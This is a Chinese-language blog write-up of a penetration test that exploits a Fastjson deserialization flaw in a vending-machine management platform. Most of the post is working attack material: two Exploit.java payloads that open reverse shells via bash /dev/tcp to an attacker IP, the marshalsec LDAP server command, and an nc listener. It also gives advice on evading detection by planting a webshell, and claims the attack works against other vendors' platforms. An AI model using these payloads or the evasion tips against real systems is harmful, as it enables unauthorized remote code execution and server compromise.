上一讲说了随手一测就发现了越权,程序员修改之后依然可以绕过鉴权。
但是我想深挖,肯定还有其他问题。
本次测试为授权友情测试,本文提交之前已通知厂商修复,谁让我白帽子,谁让我钱在上面呢。:)
执行条件:
需要拥有后台账号,任何权限都行。
详情
上一讲的说了越权的事,大家也注意到了,发送的POST包为Json格式。
所以大胆猜测一下,存在fastjson的命令执行.
fastjson的漏洞原因网上很多,我就不多说了,大家跟着来看一下我的复现过程:
准备
首先我们需要准备三个文件:
marshalsec-0.0.3-SNAPSHOT-all.jar : https://github.com/mbechler/marshalsec
Exploit.java
Exploit.class
Marshalsec我编译的时候遇到坑,所以大家编译的时候注意自己的JDK版本。
Exploit.java也遇到了坑,看是网上找的是一个据说能秒杀很多版本的exp:
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
public class Exploit{
public Exploit() throws Exception {
//Process p = Runtime.getRuntime().exec(new String[]{"cmd","/c","calc.exe"});
Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/xx.xx.xx.xx/1888;cat <&5 | while read line; do $line 2>&5 >&5; done"});
InputStream is = p.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(is));
String line;
while((line = reader.readLine()) != null) {
System.out.println(line);
}
p.waitFor();
is.close();
reader.close();
p.destroy();
}
public static void main(String[] args) throws Exception {
}
}
实际在利用的时候如何都不成功,浪费了我很多时间,最后是用了普通版本的exp反而成功,由此可以猜测服务器的Fastjson版本相当低.
public class Exploit {
public Exploit(){
try{
Runtime.getRuntime().exec("/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/yourIP:8888 0>&1"); //你需要在服务器执行的命令,我这里是反弹shell,需要修改为自己的IP和监听端口
}catch(Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv){
Exploit e = new Exploit();
}
}
准备好Exploit.java之后,使用javac命令即可编译为我们需要的Exploit.class
准备服务
这三个文件都可以直接放在有公网IP的服务器上.
Marshalsec用于RMI和LDAP的服务创建.
开启RMI或LDAP服务运行命令:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://IP/#Exploit
Exploit.class需要放置在公网任何webserver下,只要目标服务器可以下载即可.
还需要在当前服务器运行
nc -lvvp 8888
监听本地端口,该端口需要与Exploit内的端口和服务器IP一致。
执行
以上文件和服务都准备好之后,可以发送自己的POST包执行:
POST包需要根据对方Fastjson版本做修改和绕过,请自行搜索.
结果
如果对方存在Fastjson反序列化漏洞,那么你的服务器会收到来自目标服务器的访问.:
LDAP将会把请求Redirect到Webserver,Fastjson将会下载Exploit.class,并解析运行。
如果一切顺利,你监听的端口将会收到反弹shell
同时也收到了平台程序员的问询:
思考
运营商马上就发现了服务器被入侵,所以如果遇到是阿里云等主流云服务器,如果想隐藏自己建议不要使用反弹shell的形式,毕竟特征太明显。。比如可以考虑自动化写入Webshell
还有就是经过我的分析,市面上的售货机管理平台的核心代码非常可能是同一套,所以该利用方式非常可能是通用的,不过其他没权限没法测试。
修复建议
排查所有服务的jar包风险,并升级.
BTW
目前提交的两个漏洞都是有利用前提的,那么是否可以不需要账号就直接入侵进自动售货机的管理平台,然后控制全国所有售货机呢?
作为渗透测试工程师决定有必要操作一波,感兴趣的人多的话,我再更新。